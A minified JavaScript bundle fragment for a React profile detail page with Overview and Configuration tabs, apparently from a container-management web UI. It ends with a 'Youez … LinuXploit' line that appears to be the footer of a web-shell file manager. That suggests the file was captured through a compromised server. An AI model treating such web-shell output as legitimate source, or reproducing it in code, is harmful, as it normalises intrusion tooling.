e.jsx(us,{name:s,parentItems:[e.jsx(ee,{to:`${v}/ui/project/${encodeURIComponent(m)}/profiles`,children:"Profiles"},1)],renameDisabledReason:P(),controls:l&&e.jsx(Cs,{profile:l,project:m}),isLoaded:!!l,formik:p})},ys=["Overview","Configuration"],Mt=()=>{const{name:s,project:l,activeTab:m}=V();if(!s)return e.jsx(e.Fragment,{children:"Missing name"});if(!l)return e.jsx(e.Fragment,{children:"Missing project"});const{data:r,error:c,isLoading:a}=Ye(s,l);return e.jsxs(t.CustomLayout,{header:e.jsx(bs,{name:s,profile:r,project:l}),contentClassName:"detail-page",children:[a&&e.jsx(t.Spinner,{className:"u-loader",text:"Loading profile details..."}),!a&&!r&&e.jsx(je,{entityType:"profile",entityName:s,errorMessage:c?.message}),!a&&r&&e.jsxs(t.Row,{children:[e.jsx(hs,{tabs:ys,activeTab:m,tabUrl:`${v}/ui/project/${encodeURIComponent(l)}/profile/${encodeURIComponent(s)}`}),!m&&e.jsx("div",{role:"tabpanel","aria-labelledby":"overview",children:e.jsx(xs,{profile:r})}),m==="configuration"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"configuration",children:e.jsx(js,{profile:r})})]})]})};export{Mt as default};

Youez - 2016 - github.com/yon3zu
LinuXploit